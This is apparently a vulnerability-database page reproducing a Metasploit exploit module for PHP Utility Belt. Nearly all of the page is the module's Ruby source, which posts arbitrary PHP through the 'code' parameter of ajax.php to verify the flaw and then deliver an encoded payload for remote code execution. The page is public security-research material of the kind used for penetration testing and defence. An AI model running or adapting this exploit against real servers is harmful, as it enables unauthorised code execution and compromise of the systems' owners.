Lucene search
+L

PHP Utility Belt Remote Code Execution

🗓️ 08 Dec 2015 00:00:00Reported by WICS, Jay TurlaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

PHP Utility Belt Remote Code Execution in Production Environment

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHP Utility Belt Remote Code Execution',
        'Description' => %q{
          This module exploits a remote code execution vulnerability in PHP Utility Belt,
          which is a set of tools for PHP developers and should not be installed in a
          production environment, since this application runs arbitrary PHP code as an
          intended functionality.
        },
        'Author' => [
          'WICS', # initial discovery
          'Jay Turla' # msf
        ],
        'References' => [
          ['EDB', '38901'],
          ['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
        ],
        'DisclosureDate' => '2015-12-08',
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Payload' => {
          'Space' => 2000,
          'DisableNops' => true
        },
        'Targets' => [
          ['PHP Utility Belt', {}]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
      ]
    )
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt};")

    if res && res.body.include?(txt)
      Exploit::CheckCode::Vulnerable('Successfully verified arbitrary PHP code execution')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end

  def http_send_command(cmd)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_post' => {
        'code' => cmd
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation